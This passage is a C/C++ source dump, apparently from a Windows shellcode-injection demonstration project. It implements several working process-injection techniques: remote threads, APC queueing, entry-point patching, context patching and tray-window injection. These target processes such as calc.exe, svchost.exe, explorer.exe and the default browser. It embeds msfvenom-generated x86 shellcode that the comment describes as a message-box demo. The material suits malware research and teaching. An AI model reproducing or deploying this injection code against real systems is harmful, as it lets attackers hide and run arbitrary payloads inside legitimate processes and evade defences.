43 | if (create_new_process2(pi, cmdLine, startDir) == false) {
44 | return false;
45 | }
46 | LPVOID remote_shellcode_ptr = map_buffer_into_process1(pi.hProcess, g_Shellcode, sizeof(g_Shellcode), PAGE_EXECUTE_READWRITE);
47 | bool result = false;
48 | switch (mode) {
49 | case ADD_THREAD:
50 | result = run_shellcode_in_new_thread(pi.hProcess, remote_shellcode_ptr, THREAD_CREATION_METHOD::usingRandomMethod);
51 | // not neccessery to resume the main thread
52 | break;
53 | case ADD_APC:
54 | result = add_shellcode_to_apc(pi.hThread, remote_shellcode_ptr);
55 | ResumeThread(pi.hThread); //resume the main thread
56 | break;
57 | case PATCH_EP:
58 | result = paste_shellcode_at_ep(pi.hProcess, remote_shellcode_ptr, pi.hThread);
59 | ResumeThread(pi.hThread); //resume the main thread
60 | break;
61 | case PATCH_CONTEXT:
62 | result = patch_context(pi.hThread, remote_shellcode_ptr);
63 | ResumeThread(pi.hThread); //resume the main thread
64 | break;
65 | }
66 |
67 | //close handles
68 | ZwClose(pi.hThread);
69 | ZwClose(pi.hProcess);
70 | return result;
71 | }
72 |
73 | bool inject_in_existing_process()
74 | {
75 | wchar_t *process_name = L"calc.exe";
76 | HANDLE hProcess = find_running_process(process_name);
77 | if (!hProcess) {
78 | std::wcerr << "[ERROR] Process with the name: " << process_name << " not found!\n";
79 | return false;
80 | }
81 | LPVOID remote_shellcode_ptr = map_buffer_into_process1(hProcess, g_Shellcode, sizeof(g_Shellcode), PAGE_EXECUTE_READWRITE);
82 | if (remote_shellcode_ptr == NULL) {
83 | return false;
84 | }
85 | return run_shellcode_in_new_thread(hProcess, remote_shellcode_ptr, THREAD_CREATION_METHOD::usingRandomMethod);
86 | }
87 |
88 | int loadInt(const std::string &str)
89 | {
90 | int intVal = 0;
91 |
92 | std::stringstream ss;
93 | ss << std::dec << str;
94 | ss >> intVal;
95 |
96 | return intVal;
97 | }
98 |
99 | int main(int argc, char *argv[])
100 | {
101 | TARGET_TYPE targetType = TARGET_TYPE::NEW_PROC;
102 | if (argc < 2) {
103 | std::cout << "args: \n";
104 | std::cout << "targetType:\n";
105 | std::cout << "\t" << std::dec << TARGET_TYPE::EXISTING_PROC << " : EXISTING_PROC\n";
106 | std::cout << "\t" << std::dec << TARGET_TYPE::NEW_PROC << " : NEW_PROC\n";
107 | std::cout << "\t" << std::dec << TARGET_TYPE::TRAY_WINDOW << " : TRAY_WINDOW\n";
108 | std::cout << "\t---\n";
109 | std::cout << "\tdefault: " << targetType << " \n";
110 | }
111 |
112 |
113 | if (load_ntdll_functions() == FALSE) {
114 | printf("Failed to load NTDLL function\n");
115 | return (-1);
116 | }
117 | if (load_kernel32_functions() == FALSE) {
118 | printf("Failed to load KERNEL32 function\n");
119 | return (-1);
120 | }
121 |
122 | // compatibility checks:
123 | if (!is_system32b()) {
124 | printf("[WARNING] Your ystem is NOT 32 bit! Some of the methods may not work.\n");
125 | }
126 | if (!is_compiled_32b()) {
127 | printf("[WARNING] It is recommended to compile the loader as a 32 bit application!\n");
128 | }
129 | // choose the method:
130 |
131 | if (argc > 1) {
132 | targetType = (TARGET_TYPE)loadInt(argv[1]);
133 | if (targetType >= TARGET_TYPE_COUNT) targetType = TARGET_TYPE::NEW_PROC;
134 | }
135 |
136 | switch (targetType) {
137 | case TARGET_TYPE::TRAY_WINDOW:
138 | if (!is_system32b()) {
139 | printf("[ERROR] Not supported! Your system is NOT 32 bit!\n");
140 | break;
141 | }
142 | // this injection is more fragile, use shellcode that makes no assumptions about the context
143 | if (inject_into_tray(g_Shellcode, sizeof(g_Shellcode))) {
144 | printf("[SUCCESS] Code injected into tray window!\n");
145 | }
146 | break;
147 | case TARGET_TYPE::EXISTING_PROC:
148 | if (inject_in_existing_process()) {
149 | printf("[SUCCESS] Code injected into existing process!\n");
150 | }
151 | else {
152 | printf("[ERROR] Could not inject code into existing process!\n");
153 | }
154 | break;
155 | case TARGET_TYPE::NEW_PROC:
156 | if (inject_in_new_process(INJECTION_POINT::PATCH_EP)) {
157 | printf("[SUCCESS] Code injected into a new process!\n");
158 | }
159 | else {
160 | printf("[ERROR] Could not inject code into a new process!\n");
161 | }
162 | break;
163 | }
164 |
165 | system("pause");
166 | return 0;
167 | }
168 |
--------------------------------------------------------------------------------
/inject_shellcode/src/main.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include "ntdll_undoc.h"
4 | #include "kernel32_undoc.h"
5 |
6 | #include "target_util.h"
7 |
8 | //injection types:
9 | #include "add_thread.h"
10 | #include "add_apc.h"
11 | #include "patch_ep.h"
12 | #include "patch_context.h"
13 | #include "window_long_inject.h"
14 |
--------------------------------------------------------------------------------
/inject_shellcode/src/map_buffer_into_process.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include // for printf
3 | #include
4 | #include "ntddk.h"
5 |
6 | //set of alternative functions doing the same by a different way
7 |
8 | PVOID map_buffer_into_process1(HANDLE hProcess, LPBYTE buffer, SIZE_T buffer_size, DWORD protect = PAGE_EXECUTE_READWRITE)
9 | {
10 | HANDLE hSection = NULL;
11 | OBJECT_ATTRIBUTES hAttributes;
12 | memset(&hAttributes, 0, sizeof(OBJECT_ATTRIBUTES));
13 |
14 | LARGE_INTEGER maxSize;
15 | maxSize.HighPart = 0;
16 | maxSize.LowPart = static_cast(buffer_size);
17 | NTSTATUS status = NULL;
18 | if ((status = ZwCreateSection( &hSection, SECTION_ALL_ACCESS, NULL, &maxSize, protect, SEC_COMMIT, NULL)) != STATUS_SUCCESS)
19 | {
20 | printf("[ERROR] ZwCreateSection failed, status : %x\n", status);
21 | return NULL;
22 | }
23 |
24 | PVOID sectionBaseAddress = NULL;
25 | SIZE_T viewSize = 0;
26 | SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE
27 |
28 | // map the section in context of current process:
29 | if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(), §ionBaseAddress, NULL, NULL, NULL, &viewSize, inheritDisposition, NULL, protect)) != STATUS_SUCCESS)
30 | {
31 | printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
32 | return NULL;
33 | }
34 | printf("Section BaseAddress: %p\n", sectionBaseAddress);
35 |
36 | memcpy (sectionBaseAddress, buffer, buffer_size);
37 | printf("Buffer copied!\n");
38 |
39 | //map the new section into context of opened process
40 | PVOID sectionBaseAddress2 = NULL;
41 | if ((status = NtMapViewOfSection(hSection, hProcess, §ionBaseAddress2, NULL, NULL, NULL, &viewSize, ViewShare, NULL, protect)) != STATUS_SUCCESS)
42 | {
43 | printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
44 | return NULL;
45 | }
46 |
47 | //unmap from the context of current process
48 | ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress);
49 | ZwClose(hSection);
50 |
51 | printf("Section mapped at address: %p\n", sectionBaseAddress2);
52 | return sectionBaseAddress2;
53 | }
54 |
55 | LPVOID map_buffer_into_process2(HANDLE hProcess, LPBYTE buffer, SIZE_T buffer_size, DWORD protect = PAGE_EXECUTE_READWRITE)
56 | {
57 | LPVOID remoteAddress = VirtualAllocEx(hProcess, NULL, buffer_size, MEM_COMMIT | MEM_RESERVE, protect);
58 | if (remoteAddress == NULL) {
59 | printf("Could not allocate memory in the remote process\n");
60 | return NULL;
61 | }
62 | if (!WriteProcessMemory(hProcess, remoteAddress, buffer, buffer_size, NULL)) {
63 | VirtualFreeEx(hProcess,remoteAddress, buffer_size, MEM_FREE);
64 | return NULL;
65 | }
66 | return remoteAddress;
67 | }
68 |
--------------------------------------------------------------------------------
/inject_shellcode/src/ntdll_undoc.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include "ntddk.h"
5 |
6 | //undocumented functions from ntdll.dll
7 | //
8 | //don't forget to load functions before use:
9 | //load_ntdll_functions();
10 |
11 | NTSTATUS (NTAPI *NtQueueApcThread)(
12 | IN HANDLE ThreadHandle,
13 | IN PVOID ApcRoutine,
14 | IN PVOID ApcRoutineContext OPTIONAL,
15 | IN PVOID ApcStatusBlock OPTIONAL,
16 | IN ULONG ApcReserved OPTIONAL
17 | );
18 |
19 | NTSTATUS (NTAPI *ZwSetInformationThread) (
20 | IN HANDLE ThreadHandle,
21 | IN THREADINFOCLASS ThreadInformationClass,
22 | IN PVOID ThreadInformation,
23 | IN ULONG ThreadInformationLength
24 | );
25 |
26 | NTSTATUS(NTAPI *NtCreateThreadEx) (
27 | OUT PHANDLE ThreadHandle,
28 | IN ACCESS_MASK DesiredAccess,
29 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
30 | IN HANDLE ProcessHandle,
31 | IN PVOID StartRoutine,
32 | IN PVOID Argument OPTIONAL,
33 | IN ULONG CreateFlags,
34 | IN ULONG_PTR ZeroBits,
35 | IN SIZE_T StackSize OPTIONAL,
36 | IN SIZE_T MaximumStackSize OPTIONAL,
37 | IN PVOID AttributeList OPTIONAL
38 | ) = NULL;
39 |
40 |
41 | NTSTATUS (NTAPI *RtlCreateUserThread) (
42 | IN HANDLE ProcessHandle,
43 | IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
44 | IN BOOLEAN CreateSuspended,
45 | IN ULONG StackZeroBits,
46 | IN OUT PULONG StackReserved,
47 | IN OUT PULONG StackCommit,
48 | IN PVOID StartAddress,
49 | IN PVOID StartParameter OPTIONAL,
50 | OUT PHANDLE ThreadHandle,
51 | OUT PCLIENT_ID ClientID
52 | );
53 |
54 |
55 | BOOL load_ntdll_functions()
56 | {
57 | HMODULE hNtdll = GetModuleHandleA("ntdll");
58 | if (hNtdll == NULL) return FALSE;
59 |
60 | NtQueueApcThread = (NTSTATUS (NTAPI *)(HANDLE, PVOID, PVOID, PVOID, ULONG)) GetProcAddress(hNtdll,"NtQueueApcThread");
61 | if (NtQueueApcThread == NULL) return FALSE;
62 |
63 | ZwSetInformationThread = (NTSTATUS (NTAPI *)(HANDLE, THREADINFOCLASS, PVOID, ULONG)) GetProcAddress(hNtdll,"ZwSetInformationThread");
64 | if (ZwSetInformationThread == NULL) return FALSE;
65 |
66 | NtCreateThreadEx = (NTSTATUS (NTAPI *) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, PVOID, PVOID, ULONG, ULONG_PTR, SIZE_T, SIZE_T, PVOID)) GetProcAddress(hNtdll,"NtCreateThreadEx");
67 | if (NtCreateThreadEx == NULL) return FALSE;
68 |
69 | RtlCreateUserThread = (NTSTATUS (NTAPI *) (HANDLE, PSECURITY_DESCRIPTOR, BOOLEAN,ULONG, PULONG, PULONG, PVOID, PVOID, PHANDLE, PCLIENT_ID)) GetProcAddress(hNtdll,"RtlCreateUserThread");
70 | if (RtlCreateUserThread == NULL) return FALSE;
71 |
72 | return TRUE;
73 | }
74 |
--------------------------------------------------------------------------------
/inject_shellcode/src/patch_context.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 |
5 | //32-bit version
6 | bool patch_context(HANDLE hThread, LPVOID remote_shellcode_ptr)
7 | {
8 | //get initial context of the target:
9 | BOOL res = FALSE;
10 |
11 | #if defined(_WIN64)
12 | WOW64_CONTEXT context;
13 | memset(&context, 0, sizeof(WOW64_CONTEXT));
14 | context.ContextFlags = CONTEXT_INTEGER;
15 | res = Wow64GetThreadContext(hThread, &context);
16 | #else
17 | CONTEXT context;
18 | memset(&context, 0, sizeof(CONTEXT));
19 | context.ContextFlags = CONTEXT_INTEGER;
20 | res = GetThreadContext(hThread, &context);
21 | #endif
22 | if (res == FALSE) {
23 | return false;
24 | }
25 |
26 | //if the process was created as suspended and didn't run yet, EAX holds it's entry point:
27 | context.Eax = (DWORD) remote_shellcode_ptr;
28 |
29 | #if defined(_WIN64)
30 | Wow64SetThreadContext(hThread, &context);
31 | #else
32 | res = SetThreadContext(hThread, &context);
33 | #endif
34 | if (res == FALSE) {
35 | return false;
36 | }
37 | printf("patched context -> EAX = %x\n", context.Eax);
38 | return true;
39 | }
40 |
--------------------------------------------------------------------------------
/inject_shellcode/src/patch_ep.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 | #include "ntddk.h"
4 | #include "pe_hdrs_helper.h"
5 | #define PAGE_SIZE 0x1000
6 |
7 | // Get image base by a method #1:
8 | LPCVOID getTargetImageBase1(HANDLE hProcess)
9 | {
10 | PROCESS_BASIC_INFORMATION pbi;
11 | memset(&pbi, 0, sizeof(PROCESS_BASIC_INFORMATION));
12 |
13 | if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL) != 0)
14 | {
15 | printf("[ERROR] NtQueryInformationProcess failed\n");
16 | return NULL;
17 | }
18 |
19 | printf("PEB = %p\n", (LPVOID)pbi.PebBaseAddress);
20 |
21 | LPCVOID ImageBase = 0;
22 | SIZE_T read_bytes = 0;
23 | if (!ReadProcessMemory(hProcess, (BYTE*)pbi.PebBaseAddress + 8, &ImageBase, sizeof(ImageBase), &read_bytes)
24 | || read_bytes != sizeof(ImageBase)
25 | )
26 | {
27 | printf("[ERROR] Cannot read from PEB - incompatibile target!\n");
28 | return NULL;
29 | }
30 | return ImageBase;
31 | }
32 |
33 | // Get image base by a method #2:
34 | // WARNING: this method of getting Image Base works only if
35 | // the process has been created as a SUSPENDED and didn't run yet
36 | // - it uses specific values of the registers, that are set only in this case.
37 | LPCVOID getTargetImageBase2(HANDLE hProcess, HANDLE hThread)
38 | {
39 | //get initial context of the target:
40 | #if defined(_WIN64)
41 | WOW64_CONTEXT context;
42 | memset(&context, 0, sizeof(WOW64_CONTEXT));
43 | context.ContextFlags = CONTEXT_INTEGER;
44 | Wow64GetThreadContext(hThread, &context);
45 | #else
46 | CONTEXT context;
47 | memset(&context, 0, sizeof(CONTEXT));
48 | context.ContextFlags = CONTEXT_INTEGER;
49 | GetThreadContext(hThread, &context);
50 | #endif
51 | //get image base of the target:
52 | DWORD PEB_addr = context.Ebx;
53 |
54 | const SIZE_T kPtrSize = sizeof(DWORD); //for 32 bit
55 | DWORD targetImageBase = 0; //for 32 bit
56 |
57 | printf("PEB = %x\n", PEB_addr);
58 |
59 | if (!ReadProcessMemory(hProcess, LPVOID(PEB_addr + 8), &targetImageBase, kPtrSize, NULL)) {
60 | printf("[ERROR] Cannot read from PEB - incompatibile target!\n");
61 | return false;
62 | }
63 | return (LPCVOID)((ULONGLONG)targetImageBase);
64 | }
65 |
66 | bool paste_shellcode_at_ep(HANDLE hProcess, LPVOID remote_shellcode_ptr, HANDLE hThread=NULL)
67 | {
68 | LPCVOID ImageBase = NULL; //target ImageBase
69 | if (hThread != NULL) {
70 | ImageBase = getTargetImageBase2(hProcess, hThread);
71 | } else {
72 | #if defined(_WIN64)
73 | printf("[ERROR] 64bit version of this method is not implemented!\n");
74 | return false;
75 | #else
76 | ImageBase = getTargetImageBase1(hProcess);
77 | #endif
78 | }
79 | if (ImageBase == NULL) {
80 | printf("[ERROR] Fetching ImageBase failed!\n");
81 | return false;
82 | }
83 | printf("ImageBase = 0x%p\n", ImageBase);
84 |
85 | // read headers:
86 | SIZE_T read_bytes = 0;
87 | BYTE hdrs_buf[PAGE_SIZE];
88 | if (!ReadProcessMemory(hProcess, ImageBase, hdrs_buf, sizeof(hdrs_buf), &read_bytes) && read_bytes != sizeof(hdrs_buf))
89 | {
90 | printf("[-] ReadProcessMemory failed\n");
91 | return false;
92 | }
93 |
94 | // fetch Entry Point From headers
95 | IMAGE_NT_HEADERS32 *inh = get_nt_hrds32(hdrs_buf);
96 | if (inh == NULL) return false;
97 |
98 | IMAGE_OPTIONAL_HEADER32 opt_hdr = inh->OptionalHeader;
99 | DWORD ep_rva = opt_hdr.AddressOfEntryPoint;
100 |
101 | printf("Entry Point v: %x\n", ep_rva);
102 | printf("shellcode ptr: %p\n", remote_shellcode_ptr);
103 |
104 | //make a buffer to store the hook code:
105 | const SIZE_T kHookSize = 0x10;
106 | BYTE hook_buffer[kHookSize];
107 | memset(hook_buffer, 0xcc, kHookSize);
108 |
109 | //prepare the redirection:
110 | //address of the shellcode will be pushed on the stack and called via ret
111 | hook_buffer[0] = 0x68; //push
112 | hook_buffer[5] = 0xC3; //ret
113 |
114 | //for 32bit code:
115 | DWORD shellcode_addr = (DWORD)remote_shellcode_ptr;
116 | memcpy(hook_buffer + 1, &shellcode_addr, sizeof(shellcode_addr));
117 |
118 | //make a memory page containing Entry Point Writable:
119 | DWORD oldProtect;
120 | if (!VirtualProtectEx(hProcess, (BYTE*)ImageBase + ep_rva, kHookSize, PAGE_EXECUTE_READWRITE, &oldProtect)) {
121 | printf("Virtual Protect Failed!\n");
122 | return false;
123 | }
124 |
125 | //paste the redirection at Entry Point:
126 | SIZE_T writen_bytes = 0;
127 | if (!WriteProcessMemory(hProcess, (LPBYTE)ImageBase + ep_rva, hook_buffer, sizeof(hook_buffer) , &writen_bytes))
128 | {
129 | printf("[-] WriteProcessMemory failed, err = %d\n", GetLastError());
130 | return false;
131 | }
132 |
133 | //restore the previous access rights at entry point:
134 | DWORD oldProtect2;
135 | if (!VirtualProtectEx(hProcess, (BYTE*)ImageBase + ep_rva, kHookSize, oldProtect, &oldProtect2)) {
136 | printf("Virtual Protect Failed!\n");
137 | return false;
138 | }
139 | return true;
140 | }
141 |
--------------------------------------------------------------------------------
/inject_shellcode/src/payload.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | /*
4 | msfvenom -a x86 --platform Windows
5 | -p windows/messagebox
6 | TEXT="This is an injection demo!"
7 | TITLE="Injection Demo"
8 | -f c
9 | */
10 | unsigned char g_Shellcode[] =
11 | "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
12 | "\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
13 | "\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
14 | "\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
15 | "\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
16 | "\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
17 | "\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
18 | "\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
19 | "\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
20 | "\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
21 | "\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
22 | "\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89"
23 | "\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
24 | "\x24\x52\xe8\x5f\xff\xff\xff\x68\x6d\x6f\x58\x20\x68\x6e\x20"
25 | "\x44\x65\x68\x63\x74\x69\x6f\x68\x49\x6e\x6a\x65\x31\xdb\x88"
26 | "\x5c\x24\x0e\x89\xe3\x68\x6f\x21\x58\x20\x68\x20\x64\x65\x6d"
27 | "\x68\x74\x69\x6f\x6e\x68\x6e\x6a\x65\x63\x68\x61\x6e\x20\x69"
28 | "\x68\x20\x69\x73\x20\x68\x54\x68\x69\x73\x31\xc9\x88\x4c\x24"
29 | "\x1a\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff"
30 | "\x55\x08";
31 |
--------------------------------------------------------------------------------
/inject_shellcode/src/pe_hdrs_helper.cpp:
--------------------------------------------------------------------------------
1 | #include "pe_hdrs_helper.h"
2 |
3 | IMAGE_NT_HEADERS32* get_nt_hrds32(BYTE *pe_buffer)
4 | {
5 | if (pe_buffer == NULL) return NULL;
6 |
7 | IMAGE_DOS_HEADER *idh = (IMAGE_DOS_HEADER*)pe_buffer;
8 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
9 | return NULL;
10 | }
11 | const LONG kMaxOffset = 1024;
12 | LONG pe_offset = idh->e_lfanew;
13 | if (pe_offset > kMaxOffset) return NULL;
14 |
15 | IMAGE_NT_HEADERS32 *inh = (IMAGE_NT_HEADERS32 *)((BYTE*)pe_buffer + pe_offset);
16 | return inh;
17 | }
18 |
19 | IMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id)
20 | {
21 | if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL;
22 |
23 | //fetch relocation table from current image:
24 | PIMAGE_NT_HEADERS32 nt_headers = get_nt_hrds32((BYTE*) pe_buffer);
25 | if (nt_headers == NULL) return NULL;
26 |
27 | IMAGE_DATA_DIRECTORY* peDir = &(nt_headers->OptionalHeader.DataDirectory[dir_id]);
28 | if (peDir->VirtualAddress == NULL) {
29 | return NULL;
30 | }
31 | return peDir;
32 | }
33 |
--------------------------------------------------------------------------------
/inject_shellcode/src/pe_hdrs_helper.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 |
4 | IMAGE_NT_HEADERS32* get_nt_hrds32(BYTE *pe_buffer);
5 | IMAGE_DATA_DIRECTORY* get_pe_directory32(PVOID pe_buffer, DWORD dir_id);
6 |
--------------------------------------------------------------------------------
/inject_shellcode/src/sysutil.cpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "sysutil.h"
3 |
4 | #include
5 | #include
6 |
7 | #include "pe_hdrs_helper.h"
8 |
9 | typedef BOOL(WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
10 |
11 | bool is_compiled_32b()
12 | {
13 | if (sizeof(LPVOID) == sizeof(DWORD)) {
14 | return true;
15 | }
16 | return false;
17 | }
18 |
19 | bool is_wow64()
20 | {
21 | LPFN_ISWOW64PROCESS fnIsWow64Process;
22 | BOOL bIsWow64 = false;
23 |
24 | //IsWow64Process is not available on all supported versions of Windows.
25 | //Use GetModuleHandle to get a handle to the DLL that contains the function
26 | //and GetProcAddress to get a pointer to the function if available.
27 |
28 | fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process");
29 | if (fnIsWow64Process == NULL) {
30 | return false;
31 | }
32 | if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64)) {
33 | return false;
34 | }
35 | if (bIsWow64 == TRUE) {
36 | return true; //64 bit
37 | }
38 | return false; //32 bit
39 | }
40 |
41 | bool is_system32b()
42 | {
43 | //is the current application 32 bit?
44 | if (!is_compiled_32b()) {
45 | return false;
46 | }
47 | //check if it is running under WoW
48 | if (is_wow64()) {
49 | return false;
50 | }
51 | return true;
52 | }
53 |
--------------------------------------------------------------------------------
/inject_shellcode/src/sysutil.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 |
4 | #define PAGE_SIZE 0x1000
5 |
6 | bool is_compiled_32b();
7 | bool is_wow64();
8 | bool is_system32b();
9 | bool is_target_32bit(HANDLE hProcess, LPVOID ImageBase);
10 |
--------------------------------------------------------------------------------
/inject_shellcode/src/target_util.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 |
4 | void replace_param(LPWSTR cmdBuf, SIZE_T cmdBufSize, LPWSTR paramVal)
5 | {
6 | wchar_t * pwc;
7 | printf("--\n");
8 | pwc = wcsstr (cmdBuf, L"%1");
9 | if (pwc == NULL) return; //param not found
10 |
11 | SIZE_T paramLen = wcslen(paramVal);
12 | SIZE_T offset = pwc - cmdBuf;
13 | if (offset + paramLen + 1 >= cmdBufSize) return; //no space in buffer
14 |
15 | wcsncpy (pwc, paramVal, paramLen);
16 |
17 | cmdBuf[offset + paramLen + 1] = NULL;
18 | if (offset == 0) return;
19 |
20 | if (cmdBuf[offset-1] == '\"' || cmdBuf[offset-1] == '\'') {
21 | cmdBuf[offset + paramLen] = cmdBuf[0];
22 | cmdBuf[offset + paramLen + 1] = NULL;
23 | }
24 | }
25 |
26 | void remove_params(LPWSTR cmdLine, SIZE_T cmdLineLen)
27 | {
28 | wchar_t * pwc;
29 | printf("--\n");
30 |
31 | WCHAR extension[] = L".exe";
32 | SIZE_T extensionLen = wcslen(extension);
33 | pwc = wcsstr (cmdLine, extension);
34 | if (pwc == NULL) return;
35 |
36 | SIZE_T offset = pwc - cmdLine;
37 | cmdLine[offset + extensionLen] = NULL;
38 | if (cmdLine[0] == '\"' || cmdLine[0] == '\'') {
39 | cmdLine[offset + extensionLen] = cmdLine[0];
40 | cmdLine[offset + extensionLen + 1] = NULL;
41 | }
42 | }
43 |
44 | bool get_dir(LPWSTR cmdLine, OUT LPWSTR dirBuf, SIZE_T dirBufLen = MAX_PATH)
45 | {
46 | wchar_t * pwc;
47 | pwc = wcsrchr (cmdLine, L'\\');
48 | if (pwc == NULL) {
49 | pwc = wcsrchr (cmdLine, L'/');
50 | }
51 | if (pwc == NULL) return false;
52 |
53 | SIZE_T offset = pwc - cmdLine + 1;
54 | if (offset >= dirBufLen) return false;
55 |
56 | if (cmdLine[offset] != '\"' && cmdLine[offset] != '\'') {
57 | return false;
58 | }
59 | if (cmdLine[0] == '\"' || cmdLine[0] == '\'') {
60 | wcsncpy(dirBuf, cmdLine+1, offset-1);
61 | dirBuf[offset-1] = NULL;
62 | } else {
63 | wcsncpy(dirBuf, cmdLine, offset);
64 | dirBuf[offset + 1] = NULL;
65 | }
66 | printf("Dir: %S\n", dirBuf);
67 | return true;
68 | }
69 |
70 | bool get_default_browser(LPWSTR lpwOutPath, DWORD szOutPath)
71 | {
72 | HKEY phkResult;
73 | DWORD iMaxLen = szOutPath;
74 |
75 | LSTATUS res = RegOpenKeyEx(HKEY_CLASSES_ROOT, L"HTTP\\shell\\open\\command", 0, 1u, &phkResult);
76 | if (res != ERROR_SUCCESS) {
77 | printf("[ERROR] Failed with value = %x\n", res);
78 | return false;
79 | }
80 |
81 | res = RegQueryValueEx(phkResult, NULL, NULL, NULL, (LPBYTE) lpwOutPath, (LPDWORD) &iMaxLen);
82 | if (res != ERROR_SUCCESS) {
83 | printf("[ERROR] Failed with value = %x\n", res);
84 | return false;
85 | }
86 | replace_param(lpwOutPath, szOutPath, L"www.google.com");
87 | return true;
88 | }
89 |
90 | bool get_calc_path(LPWSTR lpwOutPath, DWORD szOutPath)
91 | {
92 | #if defined(_WIN64)
93 | ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\calc.exe", lpwOutPath, szOutPath);
94 | #else
95 | ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\calc.exe", lpwOutPath, szOutPath);
96 | #endif
97 | printf("%S\n", lpwOutPath);
98 | return true;
99 | }
100 |
101 | bool get_svchost_path(LPWSTR lpwOutPath, DWORD szOutPath)
102 | {
103 | #if defined(_WIN64)
104 | ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\svchost.exe", lpwOutPath, szOutPath);
105 | #else
106 | ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\svchost.exe", lpwOutPath, szOutPath);
107 | #endif
108 | printf("%S\n", lpwOutPath);
109 | return true;
110 | }
111 |
112 | bool get_explorer_path(LPWSTR lpwOutPath, DWORD szOutPath)
113 | {
114 | ExpandEnvironmentStrings(L"%windir%\\explorer.exe", lpwOutPath, szOutPath);
115 | printf("%S\n", lpwOutPath );
116 | return true;
117 | }
118 |
--------------------------------------------------------------------------------
/inject_shellcode/src/util.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | void hex_dump(unsigned char *buf, size_t buf_size)
4 | {
5 | size_t pad = 8;
6 | size_t col = 16;
7 | putchar('\n');
8 | for (size_t i = 0; i < buf_size; i++) {
9 | if (i != 0 && i % pad == 0) putchar('\t');
10 | if (i != 0 && i % col == 0) putchar('\n');
11 | printf("%02X ", buf[i]);
12 | }
13 | putchar('\n');
14 | }
15 |
--------------------------------------------------------------------------------
/inject_shellcode/src/window_long_inject.cpp:
--------------------------------------------------------------------------------
1 | #include "window_long_inject.h"
2 |
3 | #include
4 |
5 | //for injection into Shell_TrayWnd
6 | PVOID map_code_and_addresses_into_process(HANDLE hProcess, LPBYTE shellcode, SIZE_T shellcodeSize)
7 | {
8 | HANDLE hSection = NULL;
9 | OBJECT_ATTRIBUTES hAttributes;
10 | memset(&hAttributes, 0, sizeof(OBJECT_ATTRIBUTES));
11 |
12 | LARGE_INTEGER maxSize;
13 | maxSize.HighPart = 0;
14 | maxSize.LowPart = sizeof(LONG) * 2 + shellcodeSize; //we need space for the shellcode and two pointers
15 | NTSTATUS status = NULL;
16 | if ((status = ZwCreateSection( &hSection, SECTION_ALL_ACCESS, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != STATUS_SUCCESS)
17 | {
18 | printf("[ERROR] ZwCreateSection failed, status : %x\n", status);
19 | return NULL;
20 | }
21 |
22 | PVOID sectionBaseAddress = NULL;
23 | SIZE_T viewSize = 0;
24 | SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE
25 |
26 | // map the section in context of current process:
27 | if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(), §ionBaseAddress, NULL, NULL, NULL, &viewSize, inheritDisposition, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
28 | {
29 | printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
30 | return NULL;
31 | }
32 | printf("Section BaseAddress: %p\n", sectionBaseAddress);
33 |
34 | //map the new section into context of opened process
